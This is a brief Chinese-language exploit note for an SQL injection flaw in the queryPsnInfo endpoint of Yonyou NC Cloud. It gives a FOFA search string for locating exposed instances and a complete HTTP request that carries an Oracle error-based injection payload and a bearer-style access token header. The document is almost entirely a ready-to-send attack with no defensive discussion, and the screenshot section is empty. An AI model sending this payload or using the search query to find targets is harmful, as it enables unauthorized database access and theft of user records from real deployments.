Y4-92用友-NC-SQL

漏洞描述：

用友NC Cloud queryPsnInfo 接口处存在SQL注入漏洞，未授权的攻击者可通过此漏洞获取数据库权限，从而盗取用户数据，造成用户信息泄露。

fofa语法：

app=“用友-NC-Cloud”

漏洞复现：

payload：

GET /ncchr/pm/obj/queryPsnInfo?staffid=1%27+AND+1754%3DUTL_INADDR.GET_HOST_ADDRESS%28CHR%28113%29%7C%7CCHR%28106%29%7C%7CCHR%28122%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%7C%7C%28SELECT+%28CASE+WHEN+%281754%3D1754%29+THEN+1+ELSE+0+END%29+FROM+DUAL%29%7C%7CCHR%28113%29%7C%7CCHR%28112%29%7C%7CCHR%28107%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%29--+Nzkh HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1
Accesstokenncc: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyaWQiOiIxIn0.F5qVK-ZZEgu3WjlzIANk2JXwF49K5cBruYMnIOxItOQ
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close

效果图：